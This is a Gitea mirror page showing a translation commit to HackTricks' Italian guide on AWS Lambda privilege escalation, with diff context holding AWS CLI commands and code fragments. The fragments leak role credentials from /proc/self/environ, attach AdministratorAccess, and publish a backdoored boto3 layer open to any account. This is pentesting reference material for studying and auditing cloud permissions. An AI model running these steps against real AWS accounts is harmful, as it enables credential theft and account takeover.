gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-17 15:21:52 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

Browse Source
This commit is contained in:
Translator
2025-01-02 01:27:43 +00:00
parent 5dd38218dd
commit 38e365814e
209 changed files with 1699 additions and 1697 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
View File

@@ -13,7 +13,7 @@ Ulteriori informazioni su lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell, ad esempio)**.\
Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell ad esempio)**.\
Una volta configurata la funzione, l'utente può **attivare la sua esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\\
Un attaccante potrebbe abusare di questo per ottenere una **rev shell e rubare il token**:
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
È anche possibile leak le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leak direttamente le credenziali come output della lambda.
È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Lambdas isolate dalla rete** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -89,7 +89,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\
Gli utenti con permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\
Possono creare una **funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente**.
Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo elemento** nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente evento**:
Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente dell'evento**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.
### `lambda:AddLayerVersionPermission`
@@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Gli utenti che detengono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente che è collegata a un ruolo IAM.**\
Gli utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
L'attaccante può **modificare il codice della lambda per esfiltrare le credenziali IAM**.
Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
@@ -157,7 +157,7 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
**Impatto Potenziale:** Privilegi di escalation diretti al ruolo di servizio lambda utilizzato.
### `lambda:UpdateFunctionConfiguration`
@@ -202,7 +202,7 @@ Ad esempio, la libreria boto3 è caricata da `/var/runtime/boto3` (4ª posizione
#### Sfruttamento
È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro.
È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda andrà a importare.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro.
Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
```bash
@@ -210,12 +210,12 @@ pip3 install -t ./lambda_layer boto3
```
Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio).
Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\
Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo layer lambda** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Ora, rendi il layer lambda caricato **accessibile da qualsiasi account**:
Ora, rendi il layer lambda **accessibile da qualsiasi account**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
@@ -236,7 +236,7 @@ Un **modo più furtivo per sfruttare questa vulnerabilità** può essere trovato
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`